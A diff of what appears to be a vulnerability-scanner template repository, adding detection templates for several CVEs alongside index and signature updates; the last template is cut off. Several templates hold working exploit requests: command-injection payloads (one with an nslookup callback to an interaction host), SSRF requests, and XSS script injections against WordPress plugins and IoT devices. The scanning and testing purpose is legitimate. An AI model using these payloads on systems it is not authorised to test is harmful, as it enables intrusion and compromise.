+{"ID":"CVE-2025-27888","Info":{"Name":"Apache Druid - Server-Side Request Forgery","Severity":"high","Description":"Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-27888.yaml"}
 {"ID":"CVE-2025-27892","Info":{"Name":"Shopware \u003c 6.5.8.13 - SQL Injection","Severity":"critical","Description":"The Shopware application API contains a search functionality which enables users to search through information stored within their Shopware instance. The searches performed by this function can be aggregated using the parameters in the \"aggregations\" object. The name field in this \"aggregations\" in nested object is vulnerable SQL-injection and can be exploited using SQL parameters.\n","Classification":{"CVSSScore":"6.8"}},"file_path":"http/cves/2025/CVE-2025-27892.yaml"}
 {"ID":"CVE-2025-28228","Info":{"Name":"Electrolink FM/DAB/TV Transmitter - Credentials Disclosure","Severity":"high","Description":"A credential exposure vulnerability in Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web v01.09, v01.08, v01.07, and Display v1.4, v1.2 allows unauthorized attackers to access credentials in plaintext.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-28228.yaml"}
 {"ID":"CVE-2025-28367","Info":{"Name":"mojoPortal \u003c=2.9.0.1 - Directory Traversal","Severity":"medium","Description":"mojoPortal \u003c=2.9.0.1 is vulnerable to Directory Traversal via BetterImageGallery API Controller - ImageHandler Action. An attacker can exploit this vulnerability to access the Web.Config file and obtain the MachineKey.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-28367.yaml"}
+{"ID":"CVE-2025-28906","Info":{"Name":"Skitter Slideshow \u003c= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting","Severity":"medium","Description":"The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.\n","Classification":{"CVSSScore":"5.9"}},"file_path":"http/cves/2025/CVE-2025-28906.yaml"}
 {"ID":"CVE-2025-2907","Info":{"Name":"Order Delivery Date Pro for WooCommerce \u003c 12.3.1 - Arbitrary Option Update","Severity":"critical","Description":"The Order Delivery Date WordPress plugin before 12.3.1 does not have authorization and CSRF checks when importing settings. Furthermore it also lacks proper checks to only update options relevant to the Order Delivery Date WordPress plugin before 12.3.1. This leads to attackers being able to modify the default_user_role to administrator and users_can_register, allowing them to register as an administrator of the site for complete site takeover.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2907.yaml"}
 {"ID":"CVE-2025-29085","Info":{"Name":"Vipshop Saturn Console \u003c= 3.5.1 - SQL Injection via ClusterKey Component","Severity":"critical","Description":"SQL injection vulnerability in vipshop Saturn v.3.5.1 and before allows a remote attacker to execute arbitrary code via /console/dashboard/executorCount?zkClusterKey component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29085.yaml"}
 {"ID":"CVE-2025-29306","Info":{"Name":"FoxCMS v.1.2.5 - Remote Code Execution","Severity":"critical","Description":"An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-29306.yaml"}
@@ -3191,6 +3194,7 @@
 {"ID":"CVE-2022-31793","Info":{"Name":"muhttpd \u003c=1.1.5 - Local Inclusion","Severity":"high","Description":"muhttpd 1.1.5 and before are vulnerable to unauthenticated local file inclusion. The vulnerability allows retrieval of files from the file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2022/CVE-2022-31793.yaml"}
 {"ID":"CVE-2023-33246","Info":{"Name":"RocketMQ \u003c= 5.1.0 - Remote Code Execution","Severity":"critical","Description":"For RocketMQ versions 5.1.0 and below, under certain conditions, there is a risk of remote command execution. Several components of RocketMQ, including NameServer, Broker, and Controller, are leaked on the extranet and lack permission verification, an attacker can exploit this vulnerability by using the update configuration function to execute commands as the system users that RocketMQ is running as. Additionally, an attacker can achieve the same effect by forging the RocketMQ protocol content. To prevent these attacks, users are recommended to upgrade to version 5.1.1 or above for using RocketMQ 5.x or 4.9.6 or above for using RocketMQ 4.x .\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-33246.yaml"}
 {"ID":"CVE-2023-48788","Info":{"Name":"Fortinet Forticlient Endpoint Management Server - SQL Injection","Severity":"critical","Description":"A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiClientEMS version 7.2.0 through 7.2.2, FortiClientEMS 7.0.1 through 7.0.10 allows attacker to execute unauthorized code or commands via specially crafted packets.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2023/CVE-2023-48788.yaml"}
+{"ID":"CVE-2025-25256","Info":{"Name":"Fortinet FortiSIEM - OS Command Injection","Severity":"critical","Description":"Fortinet FortiSIEM 6.7.9 \u003c version \u003c= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-25256.yaml"}
 {"ID":"CVE-2012-2122","Info":{"Name":"MySQL - Authentication Bypass","Severity":"medium","Description":"sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.\n","Classification":{"CVSSScore":"5.1"}},"file_path":"javascript/cves/2012/CVE-2012-2122.yaml"}
 {"ID":"CVE-2016-8706","Info":{"Name":"Memcached Server SASL Authentication - Remote Code Execution","Severity":"high","Description":"An integer overflow in process_bin_sasl_auth function in Memcached, which is responsible for authentication commands of Memcached binary protocol, can be abused to cause heap overflow and lead to remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"javascript/cves/2016/CVE-2016-8706.yaml"}
 {"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-3a74c74dfb60ee61c2864054b1b4df88
+68ca5d0d9c5119bc71226a38ceaac523

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 4b0a004830460221008a783b68f07a839787c01fd5fa7000d55c7931571e1872433f3477a6d94c276a022100c52719f47fc5a37749ecb73ec16c4c536d61bfb4eaff4043e80983aa0d244a87:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4d9c05c1396ac0c34336a9bb7b17f19ac3556e465b7904be87853adf2e9e7a502207c85579bbe7e3320884d8dea255fa0d72788e2a45d2a94a09c2d49510f78838b:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 490a004630440220493622d9df516c2e240732ee8774e2d9fbdc23effe742b4f9c0df4ef02469c2f0220489f31cdf5e3e63ae22341b2d2226b3210f0ec86cd250e2b74a7dda61352e35c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202fb53ebbe29788068825360dba8c06e54cc8f4a2ac5e7f346eeabdcdfabdfad5022100df8b95fe430aa4a44205d5effceac18cd46df4b0e1a419b9059b255b77366708:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a00473045022100cc6e872c9d3f3dfbad262a1475eef14e7daacef7d92ccd6c32489995f659c51e02205f48d798a4c9f001154362de6bf58723a7b0fbd164dc72b41f7af93037efa329:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ac406799464af8550e10fdd4c062d75931d9c66f2b7a95be520dab3138a4d49702210085702c7a832fa1f4592fad7f66e5e2b0b195136e99b304f54faa8fec7cc950f6:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4b0a004830460221008f6b43398464e47dd3055d2048ab8cb06f0e04d0796efc2c295689cc74b5e05d022100923a7792076797359f72eeb89260b7017f766be6619c1083952d82d02332a665:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f1b3a114636c3671c2371943a21af39d47b1d6da9c3a1c5598313cddd9edc7d2022100c7ed5d15f86791a48d6dd3f3e4927d1234452572dbc5294595d4f0919ea548e4:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 490a0046304402202394a48a37222205f71d4eec71abc948a0c94f1d832866b0c622e1334f1a9d3f02202dc99e406cb015ae19247a387b9063ac363e05168708ffae7c5d265b92d105a5:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206fcb65f2e2435963fb8a6dd712e258f1e3dacbb42d01153b0dc7c2a2070b979b022100954a3427ccac0026ca5f1d0cdc888120945715304b8482c307db838b296108e2:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 490a004630440220740a8af7ee61218b72ab6152cc4dd25eda09505131ca5a0a9ad8ce6c9b160df30220687fb97327148c5919feb0d7d89d42d252fe36c6a97a0597975423490928f018:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220322abb2656c37aada852ddb22b68e62f3f119714962a9aee072e7043a8452d94022100ad61f9fb95bb2b87ba8d81c6664105c72d8fc70f702c3fc1073f9fedea9442ef:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100b35aa66ca0e28ac7878811473bb7c493b58894700ffd618f9d46fbc4c95794c802202aa4fb77f4656b22f7934f3565b397feed13288233b90139f3f780336d0816c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa4175c41bc3a26ec5e47bc5cae88dc7cc098a7e68e663cb19340ff5213f7de3022100fb12f6285f7cb084433ae2b47087ac6d5f7675d9d520e2e0f58f0a514348a895:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202c1c150c6904d50fe2bc5aa832307ae8e3cb4d1a183ba105a26c475a10defa71022100c272077a4ee827b5aa42e07d5175a596861f036c01c93d65193705a2a7d95ca1:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204205f198e97498124c58fe77fe78c5d15900d87a10f9a80c25c0f28f22544f6e02205f70155714fecd7e082f95ab6d8ab3b070348180df5d0bb60fd47efd9dad0a7c:922c64590222798bb761d5b6d8e72950

http/cves/2020/CVE-2020-36708.yaml

@@ -0,0 +1,57 @@
+id: CVE-2020-36708
+
+info:
+  name: WordPress Epsilon Framework Themes <=2.4.8 - Remote Code Execution
+  author: madrobot
+  severity: critical
+  description: |
+    WordPress themes including Shapely <= 1.2.7, NewsMag <= 2.4.1, Activello <= 1.4.0, Illdy <= 2.1.4, Allegiant <= 1.2.2, Newspaper X <= 1.3.1, Pixova Lite <= 2.0.5, Brilliance <= 1.2.7, MedZone Lite <= 1.2.4, Regina Lite <= 2.0.4, Transcend <= 1.1.8, Affluent <= 1.1.0, Bonkers <= 1.0.4, Antreas <= 1.0.2, Sparkling <= 2.4.8, and NatureMag Lite <= 1.0.4 contain a function injection caused by epsilon_framework_ajax_action, letting unauthenticated attackers call functions and achieve remote code execution, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary code remotely, leading to full site compromise.
+  remediation: |
+    Update themes to the latest versions where the vulnerability is fixed or apply security patches provided by theme developers.
+  reference:
+    - https://www.exploit-db.com/exploits/49327
+    - https://wpscan.com/vulnerability/10417
+    - https://wpscan.com/vulnerability/bec52a5b-c892-4763-a962-05da7100eca5
+    - https://www.wordfence.com/blog/2020/11/large-scale-attacks-target-epsilon-framework-themes/
+    - https://www.wordfence.com/threat-intel/vulnerabilities/id/5b75c322-539d-44e9-8f26-5ff929874b67?source=cve
+    - https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-fixed-in-15-wordpress-themes/
+    - https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-in-wordpress-sparkling-theme/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2020-36708
+    cwe-id: CWE-94
+    epss-score: 0.76375
+    epss-percentile: 0.98869
+    cpe: cpe:2.3:a:colorlib:activello:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: colorlib
+    product: activello
+    kev: true
+    vkev: true
+  tags: wordpress,rce,cve,cve2020,edb,wpscan,kev
+
+http:
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        action=epsilon_framework_ajax_action&args%5Baction%5D%5B%5D=Requests&args%5Baction%5D%5B%5D=request_multiple&args%5Bargs%5D%5B0%5D%5Burl%5D=https://oast.me/
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Interactsh Server"
+          - "protocol_version"
+
+      - type: status
+        status:
+          - 200

http/cves/2023/CVE-2023-37988.yaml

@@ -0,0 +1,58 @@
+id: CVE-2023-37988
+
+info:
+  name: Contact Form Generator <= 2.5.5 - Cross-Site Scripting
+  author: 0xr2r,vats147
+  severity: medium
+  description: |
+    The Contact Form Generator plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'id' parameter in wp-admin/admin.php in versions up to, and including, 2.5.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
+  remediation: |
+    Update to plugin version 2.5.6 or later.
+  reference:
+    - https://packetstorm.news/files/id/174896
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-37988
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-37988
+    cwe-id: CWE-79
+    cpe: cpe:2.3:a:creative-solutions:contact_form_generator:*:*:*:*:*:wordpress:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: creative-solutions
+    product: contact-form-generator
+    fofa-query: body="/wp-content/plugins/contact-form-generator"
+  tags: cve,cve2023,wordpress,wp,wp-plugin,xss,contact-form-generator,authenticated
+
+http:
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
+
+      - |
+        GET /wp-admin/admin.php?page=contact_form_generator&id=1%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body_2
+        words:
+          - "<script>alert(document.domain)</script>"
+          - "contact_form_generator"
+        condition: and
+
+      - type: word
+        part: content_type_2
+        words:
+          - "text/html"
+
+      - type: status
+        status:
+          - 200
+# digest: 4a0a004730450221008d0597b2c94c39e58b6b0e88546e885d8f88cefec7a242625d3195d560d3424302200d24a7ec9c71ea57b03c10b30faff127256071998082f8693ab52808f1bc0d75:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36104.yaml

@@ -19,16 +19,23 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-36104
     cwe-id: CWE-22
-    epss-score: 0.93507
-    epss-percentile: 0.99856
-    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
+    epss-score: 0.93805
+    epss-percentile: 0.99852
   metadata:
     verified: true
     max-request: 2
-    fofa-query: app="Apache_OFBiz"
-    shodan-query: 'title:"OFBiz"'
-    product: ofbiz
     vendor: apache
+    product: ofbiz
+    shodan-query:
+      - http.title:"ofbiz"
+      - http.html:"apache ofbiz"
+      - http.html:"ofbiz"
+      - ofbiz.visitor=
+    fofa-query:
+      - app="apache_ofbiz"
+      - body="apache ofbiz"
+      - title="ofbiz"
+    google-query: intitle:"ofbiz"
   tags: cve,cve2024,apache,ofbiz,lfi
 
 http:
@@ -64,3 +71,4 @@ http:
       - type: status
         status:
           - 200
+# digest: 4a0a00473045022100960eef5e03e6bdcbb6cd366ce51990747275c02f724239307ebb001d97f1c6b30220513b06c6cc488853592452ba490edc52c857cc6fce76ab75f9b75559eccc113a:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a004730450221008a90bf21bc0472c9480544de5221edb035aad7c7bf69478ffb834be48d79555f02206c5a1bfc6b1f0dad72c50dab0af40d09dfe6f50694ee1ccd276c62e7fa6a1c45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d7bfc3295bce78bfe977a90587a450445846e4de4603fe733772f3a634b740df022100db312cbc6a90404e99a7de167f242fefe16d41cc17664be4f090bb9c98a278cf:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-27888.yaml

@@ -0,0 +1,49 @@
+id: CVE-2025-27888
+
+info:
+  name: Apache Druid - Server-Side Request Forgery
+  author: xbow,DhiyaneshDK
+  severity: high
+  description: |
+    Server-Side Request Forgery (SSRF), Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Apache Druid.This issue affects all previous Druid versions.When using the Druid management proxy, a request that has a specially crafted URL could be used to redirect the request to an arbitrary server instead. This has the potential for XSS or XSRF. The user is required to be authenticated for this exploit. The management proxy is enabled in Druid's out-of-box configuration. It may be disabled to mitigate this vulnerability. If the management proxy is disabled, some web console features will not work properly, but core functionality is unaffected.Users are recommended to upgrade to Druid 31.0.2 or Druid 32.0.1, which fixes the issue.
+  reference:
+    - https://lists.apache.org/thread/c0qo989pwtrqkjv6xfr0c30dnjq8vf39
+    - http://www.openwall.com/lists/oss-security/2025/03/19/7
+  classification:
+    epss-score: 0.00049
+    epss-percentile: 0.15327
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: apache
+    product: druid
+    shodan-query: http.title:"apache druid"
+    fofa-query: title="apache druid"
+    google-query: intitle:"apache druid"
+  tags: cve,cve2025,apache,druid,ssrf,oast,oss
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - '{{BaseURL}}/unified-console.html'
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body, "Apache Druid")'
+        internal: true
+
+  - raw:
+      - |
+        GET /proxy/coordinator@{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "http"
+          - "dns"
+# digest: 490a004630440220335044d1a9e01703441b74f2cdc26e9a56fa5882f016f9c640a943d5d3180d720220380d26bcda930a77c943acbfcdfa6195047530c1f8fa6ca25e868536c8af1ce0:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-28906.yaml

@@ -0,0 +1,78 @@
+id: CVE-2025-28906
+
+info:
+  name: Skitter Slideshow <= 2.5.2 - Authenticated (Administrator+) Stored Cross-Site Scripting
+  author: nblirwn
+  severity: medium
+  description: |
+    The Skitter Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping.
+  reference:
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-skitter-slideshow/skitter-slideshow-252-authenticated-administrator-stored-cross-site-scripting
+    - https://wordpress.org/plugins/wp-skitter-slideshow/
+    - https://patchstack.com/database/wordpress/plugin/wp-skitter-slideshow/vulnerability/wordpress-skitter-slideshow-plugin-2-5-2-cross-site-scripting-xss-vulnerability
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
+    cvss-score: 5.9
+    cve-id: CVE-2025-28906
+    cwe-id: CWE-79
+    epss-score: 0.00043
+    epss-percentile: 0.12837
+  metadata:
+    verified: true
+    max-request: 5
+    publicwww-query: "/wp-content/plugins/wp-skitter-slideshow/"
+  tags: cve,cve2025,wp-plugin,wp-skitter-slideshow,wordpress,wp,xss,authenticated
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        internal: true
+        dsl:
+          - "contains(body_1, 'wp-content/plugins/wp-skitter-slideshow/')"
+
+  - raw:
+      - |
+        POST /wp-login.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        log={{username}}&pwd={{password}}&wp-submit=Log+In
+
+      - |
+        GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
+        Host: {{Hostname}}
+
+      - |
+        POST /wp-admin/options.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        option_page=wp_skitter_settings&action=update&_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp_skitter_menu&wp_skitter_type=posts&wp_skitter_category=1&wp_skitter_slides="><script>alert(document.domain)</script>&wp_skitter_xml=&wp_skitter_theme=square&wp_skitter_animation=random&wp_skitter_type_navigation=numbers&wp_skitter_width=&wp_skitter_height=&wp_skitter_background=%23000&wp_skitter_crop=true&wp_skitter_velocity=&wp_skitter_interval=&wp_skitter_navigation=true&wp_skitter_numbers_align=left&wp_skitter_label=true&wp_skitter_label_animation=&wp_skitter_width_label=&wp_skitter_easing_default=&wp_skitter_controls_position=&wp_skitter_focus_position=&wp_skitter_with_animations=&wp_skitter_auto_play=true
+
+      - |
+        GET /wp-admin/options-general.php?page=wp_skitter_menu HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "status_code_4 == 200"
+          - "contains(body_4, '<script>alert(document.domain)</script>')"
+        condition: and
+
+    extractors:
+      - type: regex
+        name: nonce
+        part: body_2
+        group: 1
+        internal: true
+        regex:
+          - 'name="_wpnonce" value="([0-9a-zA-Z]+)"'
+# digest: 4a0a00473045022100aac681e0145973b5ddae35bb6d5f7b82285db3f7dd8dc5840ad7a79a03b173eb0220300e9859a94adb792969921c2dbf68d3bfcb125900d3307affa2650f1dfab32c:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 4b0a00483046022100fd4b75730947af38dcee673a6996c170d8255a8156e5ec5a4652d0be67f80b83022100e8f2e0581c7e8c6fe0561d263c5e91e70dea7da42558161650312da1f3c4eb7d:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022007e1627843a06956ae12f3cb945ecb7fad7d509ae9299c7a2845a3928150afea02203a4b2eb2d58ba887848cd46e8c224c79a1c5d7903dda7dae330db4c733ee0a0b:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-34035.yaml

@@ -0,0 +1,48 @@
+id: CVE-2025-34035
+
+info:
+  name: EnGenius EnShare IoT Gigabit Cloud Service 1.4.11 Root Remote Code Execution
+  author: intelligent-ears
+  severity: critical
+  description: |
+    An OS command injection vulnerability exists in EnGenius EnShare Cloud Service version 1.4.11 and earlier.The usbinteract.cgi script fails to properly sanitize user input passed to the path parameter, allowing unauthenticated remote attackers to inject arbitrary shell commands.The injected commands are executed with root privileges, leading to full system compromise.
+  reference:
+    - https://cxsecurity.com/issue/WLB-2017060050
+    - https://www.exploit-db.com/exploits/42114
+    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5413.php
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34035
+  classification:
+    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
+    cvss-score: 10.0
+    cve-id: CVE-2025-34035
+    cwe-id: CWE-78
+  metadata:
+    verified: true
+    shodan-query: html:"/web/cgi-bin/usbinfo.cgi"
+    fofa-query: body="/web/cgi-bin/usbinfo.cgi"
+    max-request: 1
+  tags: cve,cve2025,engenius,enshare,rce,kev
+
+http:
+  - raw:
+      - |
+        POST {{path}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        action=7&path="|id||"
+
+    payloads:
+      path:
+        - "/web/cgi-bin/usbinteract.cgi"
+        - "/cgi-bin/usbinteract.cgi"
+
+    stop-at-first-match: true
+
+    matchers:
+      - type: dsl
+        dsl:
+          - "regex('uid=([0-9(a-z_)]+) gid=([0-9(a-z_)]+)', body)"
+          - 'contains(body, "Content-type: text/html")'
+          - "status_code == 200"
+        condition: and

http/cves/2025/CVE-2025-34152.yaml

@@ -0,0 +1,42 @@
+id: CVE-2025-34152
+
+info:
+  name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
+  author: Chocapikk,DhiyaneshDk
+  severity: critical
+  description: |
+    An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
+  reference:
+    - https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/
+    - https://github.com/rapid7/metasploit-framework/pull/20455/files
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34152
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: http.favicon.hash:-741058468 "lighttpd/1.4.32"
+    fofa-query: icon_hash="-741058468" && server=="lighttpd/1.4.32"
+  tags: cve,cve2025,aitemi,m300,wifi,unauth,rce
+
+variables:
+  payload: "`$(nslookup {{interactsh-url}})`"
+
+http:
+  - raw:
+      - |
+        POST /protocol.csp?x HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/javascript, */*; q=0.01
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+        X-Requested-With: XMLHttpRequest
+        Origin: {{RootURL}}
+        Referer: {{RootURL}}/network.html
+
+        fname=system&opt=time_conf&function=set&time={{url_encode(payload)}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(interactsh_protocol, "dns")'
+          - 'contains_all(body, "error","opt")'
+          - 'contains(content_type, "text/plain")'
+        condition: and

http/cves/2025/CVE-2025-53770.yaml

@@ -133,4 +133,4 @@ http:
           - 'contains(x_nuclei,"CVE-2025-53770")'
           - 'contains(body, "MSOTlPn_DWP")'
         condition: and
-# digest: 490a00463044022050d3c2047a0a615a9110f7054c0735147d57d40d72b8bd5faa230e53e9504dc6022068b7baae2c004a6c14dc76b622a4d60cabd5be614cd93d85f7930e74c67656b3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022075a80271d92cc672125ad5ea245de846e4ebbb16b086afaf4368182b9c7b900f022100bb6edbf89726edab28fa8d081a57d6a171a20a55964feca1e6dbd0ef9119bab4:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-55169.yaml

@@ -0,0 +1,40 @@
+id: CVE-2025-55169
+
+info:
+  name: WeGIA - Directory Traversal
+  author: praivesi
+  severity: critical
+  description: |
+    WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Prior to version 3.4.8, a path traversal vulnerability was discovered in the WeGIA application, html/socio/sistema/download_remessa.php endpoint. This vulnerability could allow an attacker to gain unauthorized access to local files in the server and sensitive information stored in config.php. config.php contains information that could allow direct access to the database. This issue has been patched in version 3.4.8.
+  remediation: |
+    Upgrade to WeGIA version 3.4.8 or later, which patches the path traversal vulnerability.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-55169
+    - https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-mm3p-7573-4x4j
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: title="WeGIA"
+  tags: cve,cve2025,wegia,lfi
+
+http:
